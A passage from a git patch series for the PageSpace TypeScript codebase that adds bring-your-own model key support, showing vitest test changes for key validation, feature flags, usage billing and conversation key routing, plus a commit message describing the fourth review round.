expect(verdictOutcome(actual)).toBe('destination_denied'); }); it('given the hourly ceiling reached, should refuse with limits_exceeded rather than ask anyone', () => { const actual = run({ usage: { usesThisHour: 1200, bytesOutThisHour: 0, concurrent: 0 } }); - expect(actual.ok ? 'issued' : actual.reason).toBe('limits_exceeded'); + expect(verdictOutcome(actual)).toBe('limits_exceeded'); }); it('given a body that is not a model call, should refuse the request', () => { const actual = run({ body: '{"messages":[]}' }); - expect(actual.ok ? 'issued' : actual.reason).toBe('request_refused'); + expect(verdictOutcome(actual)).toBe('request_refused'); }); }); @@ -157,6 +162,6 @@ describe('authorize (http_request) on a model key', () => { ttlMs: 60_000, hash: sha3, }); - expect(actual.ok ? 'issued' : actual.reason).toBe('kind_not_supported'); + expect(verdictOutcome(actual)).toBe('kind_not_supported'); }); }); diff --git a/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts b/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts index 0e10c3462f..f240e5f513 100644 --- a/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts +++ b/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts @@ -1,7 +1,7 @@ import { describe, it, expect } from 'vitest'; import { createHash } from 'node:crypto'; import type { UserId } from '../../grant'; -import { canonicalizeInferenceRequest, isModelKeyAccount, MAX_INFERENCE_BODY_BYTES, MODEL_KEY_PROVIDER_SLUG, modelKeyApprovalPolicy } from '../model-key'; +import { canonicalizeInferenceRequest, isModelKeyAccount, MAX_INFERENCE_BODY_BYTES, MODEL_KEY_PROVIDER_SLUG, modelKeyApprovalPolicy, decideModelKeyInput } from '../model-key'; import { decideApproval } from '../../decide-approval'; const sha256 = (bytes: Uint8Array) => createHash('sha256').update(bytes).digest('hex'); @@ -36,8 +36,14 @@ describe('canonicalizeInferenceRequest', () => { canonicalizeInferenceRequest({ body: JSON.stringify({ model: '' }), sha256 }), canonicalizeInferenceRequest({ body: JSON.stringify({ model: 'a b' }), sha256 }), canonicalizeInferenceRequest({ body: JSON.stringify({ model: 'm', pad: 'x'.repeat(MAX_INFERENCE_BODY_BYTES) }), sha256 }), - ].map((verdict) => (verdict.ok ? 'ok' : verdict.reason)); - expect(actual).toEqual(['body_not_json', 'body_not_json', 'model_invalid', 'model_invalid', 'body_too_large']); + ]; + expect(actual).toEqual([ + { ok: false, reason: 'body_not_json' }, + { ok: false, reason: 'body_not_json' }, + { ok: false, reason: 'model_invalid' }, + { ok: false, reason: 'model_invalid' }, + { ok: false, reason: 'body_too_large' }, + ]); }); }); @@ -49,7 +55,7 @@ describe('canonicalizeInferenceRequest (key check)', () => { it('given a body with the key check, should refuse it', () => { const actual = canonicalizeInferenceRequest({ body: '{"x":1}', sha256, call: 'key_info' }); - expect(actual.ok ? 'ok' : actual.reason).toBe('body_not_json'); + expect(actual).toEqual({ ok: false, reason: 'body_not_json' }); }); it('given a chat grant presented as a key check, should digest differently', () => { @@ -90,3 +96,16 @@ describe('isModelKeyAccount', () => { expect([isModelKeyAccount({ providerSlug: MODEL_KEY_PROVIDER_SLUG }), isModelKeyAccount({ providerSlug: 'google' }), isModelKeyAccount({ providerSlug: null })]).toEqual([true, false, false]); }); }); + +describe('decideModelKeyInput', () => { + it('given a pasted OpenRouter key with surrounding whitespace, should accept it trimmed', () => { + const key = `sk-or-v1-${'a'.repeat(32)}`; + expect(decideModelKeyInput({ apiKey: ` ${key}\n` })).toEqual({ ok: true, apiKey: key }); + }); + + it('given anything that is not an OpenRouter key (another vendor\'s, too short, unprintable, not a string), should refuse it as key_invalid', () => { + const inputs: unknown[] = [`sk-ant-${'a'.repeat(32)}`, 'sk-or-short', `sk-or-v1-${'a'.repeat(20)}\u0000`, 42, null]; + expect(inputs.map((apiKey) => decideModelKeyInput({ apiKey }))).toEqual(inputs.map(() => ({ ok: false, reason: 'key_invalid' }))); + }); +}); + diff --git a/packages/lib/src/auth/agent-dispatch-payload.ts b/packages/lib/src/auth/agent-dispatch-payload.ts index dd7d3d49d6..bbfa449441 100644 --- a/packages/lib/src/auth/agent-dispatch-payload.ts +++ b/packages/lib/src/auth/agent-dispatch-payload.ts @@ -82,6 +82,12 @@ export const agentDispatchPayloadSchema = z.object({ authenticatedAtMs: z.number().int().nonnegative(), assurance: z.enum(['single_factor', 'user_verified_passkey']), }).nullable(), + /** + * BYOK (ADR 0009): whose key the DISPATCHING model run is on. The worker's turn keeps it: on PageSpace's key it + * stays there (the message may carry an org's content); on the person's own key it must run there too, or it is + * refused (its answer would carry content back). Absent from an older signer: the turn decides on its own. + */ + callerKeySource: z.enum(['managed', 'user_key']).optional(), }); export type AgentDispatchPayload = z.infer; diff --git a/packages/lib/src/compliance/export/gdpr-export-coverage.ts b/packages/lib/src/compliance/export/gdpr-export-coverage.ts index 5f22508dcc..416baf6811 100644 --- a/packages/lib/src/compliance/export/gdpr-export-coverage.ts +++ b/packages/lib/src/compliance/export/gdpr-export-coverage.ts @@ -512,6 +512,9 @@ export const EXCLUDED_TABLES: Readonly> = { 'agent_workspace_node_revs', 'ai_pending_abort_intents', 'conversation_compactions', + // BYOK (ADR 0009): a conversation ran on PageSpace's key — a routing mark derived from the subject's AI usage, + // which is exported under `aiUsage`. + 'model_key_managed_conversations', 'user_page_views', 'message_drafts', ), diff --git a/packages/lib/src/feature-flags/__tests__/feature-flag-repository.test.ts b/packages/lib/src/feature-flags/__tests__/feature-flag-repository.test.ts new file mode 100644 index 0000000000..a447aa63a6 --- /dev/null +++ b/packages/lib/src/feature-flags/__tests__/feature-flag-repository.test.ts @@ -0,0 +1,69 @@ +/** + * The feature-flag repository's reads and writes, over a fake database. Pinned: a flag decides from its default and + * the person's override (on-prem forces BYOK off), the listing names every known flag even when it has no row, and + * removing an override reports whether one existed. + */ +import { describe, expect, it, vi } from 'vitest'; +import { featureFlagUserOverrides } from '@pagespace/db/schema/feature-flags'; +import { createFeatureFlagRepository, type FeatureFlagDatabase } from '../feature-flag-repository'; + +type Rows = { flags?: unknown[]; overrides?: unknown[]; removed?: unknown[] }; + +/** A query builder that resolves to the flag rows or the override rows, by the table it was asked for. */ +function fakeDb(rows: Rows) { + const writes: Array<{ kind: string; values?: unknown; set?: unknown }> = []; + const resolveFor = (table: unknown) => (table === featureFlagUserOverrides ? rows.overrides ?? [] : rows.flags ?? []); + const select = vi.fn(() => ({ + from: (table: unknown) => { + const result = resolveFor(table); + const chain = Object.assign(Promise.resolve(result), { + where: () => Object.assign(Promise.resolve(result), { limit: async () => result }), + }); + return chain; + }, + })); + const insert = vi.fn(() => ({ + values: (values: unknown) => ({ + onConflictDoUpdate: async ({ set }: { set: unknown }) => void writes.push({ kind: 'upsert', values, set }), + }), + })); + const del = vi.fn(() => ({ where: () => ({ returning: async () => rows.removed ?? [] }) })); + return { db: { select, insert, delete: del } as unknown as FeatureFlagDatabase, writes }; +} + +describe('createFeatureFlagRepository', () => { + it('given a default off and the person turned on, should be on for them; on-prem, BYOK is off whatever is set', async () => { + const { db } = fakeDb({ flags: [{ enabledByDefault: false }], overrides: [{ enabled: true }] }); + const cloud = await createFeatureFlagRepository({ db, deploymentMode: () => 'cloud' }).isEnabled({ flag: 'byok_model_key', userId: 'u1' }); + const onprem = await createFeatureFlagRepository({ db, deploymentMode: () => 'onprem' }).isEnabled({ flag: 'byok_model_key', userId: 'u1' }); + expect([cloud, onprem]).toEqual([true, false]); + }); + + it('given no rows at all, should be off', async () => { + const { db } = fakeDb({}); + expect(await createFeatureFlagRepository({ db, deploymentMode: () => 'cloud' }).isEnabled({ flag: 'byok_model_key', userId: 'u1' })).toBe(false); + }); + + it('given a flag with no row, should still list it, off, with no overrides', async () => { + const { db } = fakeDb({ flags: [], overrides: [] }); + const listed = await createFeatureFlagRepository({ db }).list(); + expect(listed.find((flag) => flag.key === 'byok_model_key')).toEqual({ key: 'byok_model_key', enabledByDefault: false, updatedAt: null, userOverrideCount: 0 }); + }); + + it('should upsert a default and an override, naming the admin who changed it', async () => { + const { db, writes } = fakeDb({}); + const repository = createFeatureFlagRepository({ db }); + await repository.setDefault({ flag: 'byok_model_key', enabled: true, adminUserId: 'admin-1' }); + await repository.setOverride({ flag: 'byok_model_key', userId: 'u1', enabled: false, adminUserId: 'admin-1' }); + expect(writes.map((write) => ({ kind: write.kind, by: (write.set as { updatedBy: string }).updatedBy }))).toEqual([ + { kind: 'upsert', by: 'admin-1' }, + { kind: 'upsert', by: 'admin-1' }, + ]); + }); + + it('given an override to remove, should report whether one existed', async () => { + const existed = await createFeatureFlagRepository({ db: fakeDb({ removed: [{ userId: 'u1' }] }).db }).removeOverride({ flag: 'byok_model_key', userId: 'u1' }); + const absent = await createFeatureFlagRepository({ db: fakeDb({ removed: [] }).db }).removeOverride({ flag: 'byok_model_key', userId: 'u1' }); + expect([existed, absent]).toEqual([true, false]); + }); +}); diff --git a/packages/lib/src/monitoring/__tests__/ai-monitoring.test.ts b/packages/lib/src/monitoring/__tests__/ai-monitoring.test.ts index a26a7682a7..8a17cd63d8 100644 --- a/packages/lib/src/monitoring/__tests__/ai-monitoring.test.ts +++ b/packages/lib/src/monitoring/__tests__/ai-monitoring.test.ts @@ -422,6 +422,30 @@ describe('trackAIUsage', () => { expect(mockConsumeCredits).not.toHaveBeenCalled(); // not billed }); + it('BYOK (ADR 0009) given a call on the person\'s own key, should log it as user_key, never mark it for reconcile and never debit; a stray hold is released', async () => { + mockWriteAiUsage.mockResolvedValueOnce('aul_own'); + await trackAIUsage({ + keySource: 'user_key', + userId: 'user-1', + provider: 'openrouter', + model: 'anthropic/claude-3.5-sonnet', + inputTokens: 1000, + outputTokens: 500, + providerCostDollars: 0.01, + openrouterGenerationIds: ['gen-own'], + holdId: 'hold_own', + automationRef: 'workflow:wf_1', + }); + await new Promise((resolve) => setTimeout(resolve, 0)); + const arg = mockWriteAiUsage.mock.calls[0][0] as { reconcileStatus?: string; keySource?: string }; + expect({ reconcile: arg.reconcileStatus, keySource: arg.keySource, debited: mockConsumeCredits.mock.calls.length, released: mockReleaseHold.mock.calls.map((call) => call[0]) }).toEqual({ + reconcile: undefined, + keySource: 'user_key', + debited: 0, + released: ['hold_own'], + }); + }); + it('releases a stray hold for an exempt provider without debiting', async () => { // The gate is normally skipped for exempt providers (no hold), but if a hold was // placed anyway it must be released at settle rather than left for the cron. From 0f89734a3e88ca58e4d0baedf19db8106f0727f2 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Mon, 30 Nov 2026 00:26:42 -0600 Subject: [PATCH 20/35] fix(byok): mark every managed conversation, workflows and voice included; one turn-key decision MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Fourth review round (ADR 0009): - The managed-conversation mark is written for EVERY managed call that names a conversation, whoever makes it (conversations are shared: a page agent's thread, a session worker), keyed by conversation alone with no user column. Migration 0395 (unmerged) regenerated. - Workflow runs mark their conversation once it exists, before the model runs, and record it on their usage row. - upstreamKeySource(context): one answer to "whose key is the content this context carries on" — the run's key, else a gate's, else PageSpace's for a run that judges a model but names none (voice). Session dispatch, read_session, ask_agent and images use it. - decideTurnKey (chat-pipeline/turn-key.ts): the page and global turns' shared key decision, which also marks a managed turn's conversation before it saves anything. It keeps the page/global duplication ratchet at 155. - A model-key save that loses its lock during the key check does not leave the key active. - Tests: decideTurnKey, upstreamKeySource, dispatched-turn forcing and the 409, spawn_session key carrying, the mark's order in the factory, lock loss during the check. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- .../api/ai/btw/__tests__/credit-gate.test.ts | 1 + .../app/api/ai/btw/__tests__/route.test.ts | 1 + .../mcp-scope-tool-filtering.test.ts | 2 +- .../sandbox-github-suppression.test.ts | 2 +- .../messages/__tests__/credit-gate.test.ts | 24 ++++++++- .../__tests__/conversation-continuity.test.ts | 1 + .../conversation-listing-index.test.ts | 1 + .../consult/__tests__/credit-gate.test.ts | 1 + .../mcp-scope-tool-filtering.test.ts | 1 + .../new-conversation-history.test.ts | 1 + .../consult/__tests__/sandbox-switch.test.ts | 1 + .../consult/__tests__/step-cap-parity.test.ts | 1 + .../generate/__tests__/agent-marker.test.ts | 2 +- .../generate/__tests__/credit-gate.test.ts | 2 +- .../__tests__/task-trash-filter.test.ts | 2 +- .../chat-pipeline/__tests__/turn-key.test.ts | 38 ++++++++++++++ .../lib/ai/chat-pipeline/global-chat-turn.ts | 20 +++---- .../lib/ai/chat-pipeline/page-chat-turn.ts | 18 ++++--- apps/web/src/lib/ai/chat-pipeline/turn-key.ts | 29 +++++++++++ .../core/__tests__/model-key-source.test.ts | 35 ++++++------- .../core/__tests__/provider-factory.test.ts | 9 ++-- .../__tests__/upstream-key-source.test.ts | 19 +++++++ apps/web/src/lib/ai/core/model-key-source.ts | 52 ++++++------------- apps/web/src/lib/ai/core/provider-factory.ts | 4 +- .../web/src/lib/ai/core/tool-model-context.ts | 17 ++++++ .../ai/tools/__tests__/session-tools.test.ts | 8 +++ .../lib/ai/tools/agent-communication-tools.ts | 4 +- .../lib/ai/tools/image-generation-tools.ts | 3 +- apps/web/src/lib/ai/tools/session-tools.ts | 7 +-- .../__tests__/mention-credit-gate.test.ts | 4 +- .../src/lib/workflows/workflow-executor.ts | 5 ++ ...model-keys-through-the-credential-plane.md | 4 +- .../db/drizzle/0395_byok_feature_flags.sql | 5 +- packages/db/drizzle/meta/0395_snapshot.json | 42 ++------------- packages/db/drizzle/meta/_journal.json | 2 +- packages/db/src/schema/model-key-history.ts | 34 +++++------- .../__tests__/model-key-authority.test.ts | 19 ++++++- .../account-authority-executor.ts | 6 +++ .../compliance/export/gdpr-export-coverage.ts | 4 +- 39 files changed, 266 insertions(+), 165 deletions(-) create mode 100644 apps/web/src/lib/ai/chat-pipeline/__tests__/turn-key.test.ts create mode 100644 apps/web/src/lib/ai/chat-pipeline/turn-key.ts create mode 100644 apps/web/src/lib/ai/core/__tests__/upstream-key-source.test.ts diff --git a/apps/web/src/app/api/ai/btw/__tests__/credit-gate.test.ts b/apps/web/src/app/api/ai/btw/__tests__/credit-gate.test.ts index a97ad8cd66..1167018771 100644 --- a/apps/web/src/app/api/ai/btw/__tests__/credit-gate.test.ts +++ b/apps/web/src/app/api/ai/btw/__tests__/credit-gate.test.ts @@ -64,6 +64,7 @@ vi.mock('@/lib/ai/core/plan-binding', () => ({ getActivePlan: mocks.plan })); // BYOK (ADR 0009): whose key the call runs on — managed here. vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), + markManagedConversation: vi.fn(async () => undefined), })); vi.mock('@/lib/ai/core/provider-factory', () => ({ createAIProvider: mocks.provider })); diff --git a/apps/web/src/app/api/ai/btw/__tests__/route.test.ts b/apps/web/src/app/api/ai/btw/__tests__/route.test.ts index 8c5939df60..d6c8f6c6f2 100644 --- a/apps/web/src/app/api/ai/btw/__tests__/route.test.ts +++ b/apps/web/src/app/api/ai/btw/__tests__/route.test.ts @@ -27,6 +27,7 @@ vi.mock('@/lib/ai/core/plan-binding', () => ({ getActivePlan: mocks.plan })); // BYOK (ADR 0009): whose key the call runs on — managed here. vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), + markManagedConversation: vi.fn(async () => undefined), })); vi.mock('@/lib/ai/core/provider-factory', () => ({ createAIProvider: mocks.provider })); diff --git a/apps/web/src/app/api/ai/chat/__tests__/mcp-scope-tool-filtering.test.ts b/apps/web/src/app/api/ai/chat/__tests__/mcp-scope-tool-filtering.test.ts index f7a0a4e937..a445f106bb 100644 --- a/apps/web/src/app/api/ai/chat/__tests__/mcp-scope-tool-filtering.test.ts +++ b/apps/web/src/app/api/ai/chat/__tests__/mcp-scope-tool-filtering.test.ts @@ -13,7 +13,7 @@ import type { SessionAuthResult, MCPAuthResult } from '@/lib/auth'; // without needing to mock the entire downstream streaming pipeline. // ============================================================================ -vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn(async () => ({ source: 'managed' })) })); +vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn(async () => ({ source: 'managed' })), markManagedConversation: vi.fn(async () => undefined) })); vi.mock('@/lib/auth', () => ({ authenticateRequestWithOptions: vi.fn(), isAuthError: vi.fn((result: unknown) => result != null && typeof result === 'object' && 'error' in result), diff --git a/apps/web/src/app/api/ai/chat/__tests__/sandbox-github-suppression.test.ts b/apps/web/src/app/api/ai/chat/__tests__/sandbox-github-suppression.test.ts index 3eabfcd3fc..af27fdc1af 100644 --- a/apps/web/src/app/api/ai/chat/__tests__/sandbox-github-suppression.test.ts +++ b/apps/web/src/app/api/ai/chat/__tests__/sandbox-github-suppression.test.ts @@ -18,7 +18,7 @@ import type { SessionAuthResult } from '@/lib/auth'; // unit test cannot observe. // ============================================================================ -vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn(async () => ({ source: 'managed' })) })); +vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn(async () => ({ source: 'managed' })), markManagedConversation: vi.fn(async () => undefined) })); vi.mock('@/lib/auth', () => ({ authenticateRequestWithOptions: vi.fn(), isAuthError: vi.fn((result: unknown) => result != null && typeof result === 'object' && 'error' in result), diff --git a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts index 955c193024..7595927d0e 100644 --- a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts +++ b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts @@ -231,6 +231,7 @@ vi.mock('@pagespace/lib/billing/credit-gate', () => ({ // BYOK (ADR 0009): whose key the turn runs on. Managed unless a test says otherwise. vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), + markManagedConversation: vi.fn(async () => undefined), })); vi.mock('@/lib/ai/core/provider-factory', () => ({ @@ -705,12 +706,33 @@ describe('POST /api/ai/global/[id]/messages — usage logging durability (R4)', expect(response.status).toBe(200); expect(canConsumeAI).not.toHaveBeenCalled(); expect(vi.mocked(resolveModelKeySource).mock.calls[0]?.[0]).toEqual({ userId: 'user-1', provider: 'openai', driveId: null, conversationId: 'conv-1' }); - expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]?.keySource).toBe(ownKey); + expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]?.keySource).toEqual(ownKey); expect(AIMonitoring.trackUsage).toHaveBeenCalledTimes(1); const call = vi.mocked(AIMonitoring.trackUsage).mock.calls[0][0]; expect({ keySource: call.keySource, holdId: call.holdId }).toEqual({ keySource: 'user_key', holdId: undefined }); }); + it('a session worker dispatched from a run on PageSpace\'s key stays there, and its conversation is marked before anything is saved', async () => { + vi.mocked(resolveModelKeySource).mockResolvedValue({ source: 'user_key' }); + const { dispatchChatTurn } = await import('@/lib/ai/chat-pipeline/handle-chat-turn'); + const { markManagedConversation } = await import('@/lib/ai/core/model-key-source'); + const body = { messages: [{ id: 'msg_1', role: 'user', parts: [{ type: 'text', text: 'Hello' }] }], selectedProvider: 'openai', selectedModel: 'openai/gpt-5.4-nano', conversationId: 'conv-1' }; + + await dispatchChatTurn({ request: makeRequest(), auth: mockAuth(), browserSessionId: 'session-1', body, surface: 'global-messages', urlConversationId: 'conv-1', callerKeySource: 'managed' }); + + expect([vi.mocked(resolveModelKeySource).mock.calls.length, vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]?.keySource, vi.mocked(markManagedConversation).mock.calls[0]?.[0]]).toEqual([0, { source: 'managed' }, 'conv-1']); + }); + + it('a session worker dispatched from a run on the person\'s own key that would land on PageSpace\'s key is refused (409), before any provider', async () => { + vi.mocked(resolveModelKeySource).mockResolvedValue({ source: 'managed' }); + const { dispatchChatTurn } = await import('@/lib/ai/chat-pipeline/handle-chat-turn'); + const body = { messages: [{ id: 'msg_1', role: 'user', parts: [{ type: 'text', text: 'Hello' }] }], selectedProvider: 'openai', selectedModel: 'openai/gpt-5.4-nano', conversationId: 'conv-1' }; + + const response = await dispatchChatTurn({ request: makeRequest(), auth: mockAuth(), browserSessionId: 'session-1', body, surface: 'global-messages', urlConversationId: 'conv-1', callerKeySource: 'user_key' }); + + expect([response.status, ((await response.json()) as { code: string }).code, vi.mocked(createAIProvider).mock.calls.length]).toEqual([409, 'byok_key_mismatch', 0]); + }); + it('a managed turn is gated and billed as managed', async () => { await POST(makeRequest(), makeContext()); await captured.createUIMessageStreamOptions.execute?.({ write: vi.fn() }); diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-continuity.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-continuity.test.ts index f80ac96b39..63597bf099 100644 --- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-continuity.test.ts +++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-continuity.test.ts @@ -135,6 +135,7 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({ // BYOK (ADR 0009): whose key the call runs on — managed here. vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), + markManagedConversation: vi.fn(async () => undefined), })); vi.mock('@/lib/ai/core/provider-factory', () => ({ diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-listing-index.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-listing-index.test.ts index 857e648146..5c6580c013 100644 --- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-listing-index.test.ts +++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-listing-index.test.ts @@ -116,6 +116,7 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({ // BYOK (ADR 0009): whose key the call runs on — managed here. vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), + markManagedConversation: vi.fn(async () => undefined), })); vi.mock('@/lib/ai/core/provider-factory', () => ({ diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/credit-gate.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/credit-gate.test.ts index 57f257b0c0..e2db67b7b3 100644 --- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/credit-gate.test.ts +++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/credit-gate.test.ts @@ -119,6 +119,7 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({ // BYOK (ADR 0009): whose key the call runs on — managed here. vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), + markManagedConversation: vi.fn(async () => undefined), })); vi.mock('@/lib/ai/core/provider-factory', () => ({ diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/mcp-scope-tool-filtering.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/mcp-scope-tool-filtering.test.ts index d7d822e9cb..4a3b78b0a0 100644 --- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/mcp-scope-tool-filtering.test.ts +++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/mcp-scope-tool-filtering.test.ts @@ -116,6 +116,7 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({ // BYOK (ADR 0009): whose key the call runs on — managed here. vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), + markManagedConversation: vi.fn(async () => undefined), })); vi.mock('@/lib/ai/core/provider-factory', () => ({ diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/new-conversation-history.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/new-conversation-history.test.ts index 65d8562e85..fded3eb7a6 100644 --- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/new-conversation-history.test.ts +++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/new-conversation-history.test.ts @@ -135,6 +135,7 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({ // BYOK (ADR 0009): whose key the call runs on — managed here. vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), + markManagedConversation: vi.fn(async () => undefined), })); vi.mock('@/lib/ai/core/provider-factory', () => ({ diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/sandbox-switch.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/sandbox-switch.test.ts index d18c0282ca..e2b2ce72aa 100644 --- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/sandbox-switch.test.ts +++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/sandbox-switch.test.ts @@ -121,6 +121,7 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({ // BYOK (ADR 0009): whose key the call runs on — managed here. vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), + markManagedConversation: vi.fn(async () => undefined), })); vi.mock('@/lib/ai/core/provider-factory', () => ({ diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/step-cap-parity.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/step-cap-parity.test.ts index 6cc221233c..31a5f4e446 100644 --- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/step-cap-parity.test.ts +++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/step-cap-parity.test.ts @@ -109,6 +109,7 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({ // BYOK (ADR 0009): whose key the call runs on — managed here. vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), + markManagedConversation: vi.fn(async () => undefined), })); vi.mock('@/lib/ai/core/provider-factory', () => ({ diff --git a/apps/web/src/app/api/pulse/generate/__tests__/agent-marker.test.ts b/apps/web/src/app/api/pulse/generate/__tests__/agent-marker.test.ts index 19a2386900..5ec9e6963d 100644 --- a/apps/web/src/app/api/pulse/generate/__tests__/agent-marker.test.ts +++ b/apps/web/src/app/api/pulse/generate/__tests__/agent-marker.test.ts @@ -43,7 +43,7 @@ vi.mock('@/lib/ai/core/ai-providers-config', () => ({ resolveProviderModel: (provider: string, model: string) => ({ provider, model }), })); // BYOK (ADR 0009): PageSpace's key; the gate's timing is pinned in credit-gate.test.ts. -vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn(async () => ({ source: 'managed' })) })); +vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn(async () => ({ source: 'managed' })), markManagedConversation: vi.fn(async () => undefined) })); vi.mock('@/lib/ai/core/provider-factory', () => ({ createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'anthropic', modelName: 'anthropic/claude-test' }), diff --git a/apps/web/src/app/api/pulse/generate/__tests__/credit-gate.test.ts b/apps/web/src/app/api/pulse/generate/__tests__/credit-gate.test.ts index 3fd4368a4a..9f0046629a 100644 --- a/apps/web/src/app/api/pulse/generate/__tests__/credit-gate.test.ts +++ b/apps/web/src/app/api/pulse/generate/__tests__/credit-gate.test.ts @@ -65,7 +65,7 @@ vi.mock('@/lib/ai/core/ai-providers-config', () => ({ resolveProviderModel: (provider: string, model: string) => ({ provider, model }), })); // BYOK (ADR 0009): PageSpace's key unless a test says the person may run on their own. -vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }) })); +vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }), markManagedConversation: vi.fn(async () => undefined) })); vi.mock('@/lib/ai/core/timestamp-utils', () => ({ buildTimestampSystemPrompt: vi.fn().mockReturnValue(''), getUserTimeOfDay: vi.fn().mockReturnValue('morning'), diff --git a/apps/web/src/app/api/pulse/generate/__tests__/task-trash-filter.test.ts b/apps/web/src/app/api/pulse/generate/__tests__/task-trash-filter.test.ts index 1767fc7230..b0474b444b 100644 --- a/apps/web/src/app/api/pulse/generate/__tests__/task-trash-filter.test.ts +++ b/apps/web/src/app/api/pulse/generate/__tests__/task-trash-filter.test.ts @@ -54,7 +54,7 @@ vi.mock('@/lib/ai/core/ai-providers-config', () => ({ resolveProviderModel: (provider: string, model: string) => ({ provider, model }), })); // BYOK (ADR 0009): PageSpace's key; the gate's timing is pinned in credit-gate.test.ts. -vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn(async () => ({ source: 'managed' })) })); +vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn(async () => ({ source: 'managed' })), markManagedConversation: vi.fn(async () => undefined) })); vi.mock('@/lib/ai/core/provider-factory', () => ({ createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'anthropic', modelName: 'anthropic/claude-test' }), diff --git a/apps/web/src/lib/ai/chat-pipeline/__tests__/turn-key.test.ts b/apps/web/src/lib/ai/chat-pipeline/__tests__/turn-key.test.ts new file mode 100644 index 0000000000..587ba79f0d --- /dev/null +++ b/apps/web/src/lib/ai/chat-pipeline/__tests__/turn-key.test.ts @@ -0,0 +1,38 @@ +/** + * BYOK (ADR 0009): the one key decision both chat turns make. Pinned: /help decides nothing; a worker keeps the key + * its dispatching run was on (managed stays managed, a personal-key caller refuses a managed turn); a managed turn + * marks its conversation before anything is saved. + */ +import { describe, expect, it, vi, beforeEach } from 'vitest'; + +const { mockMark } 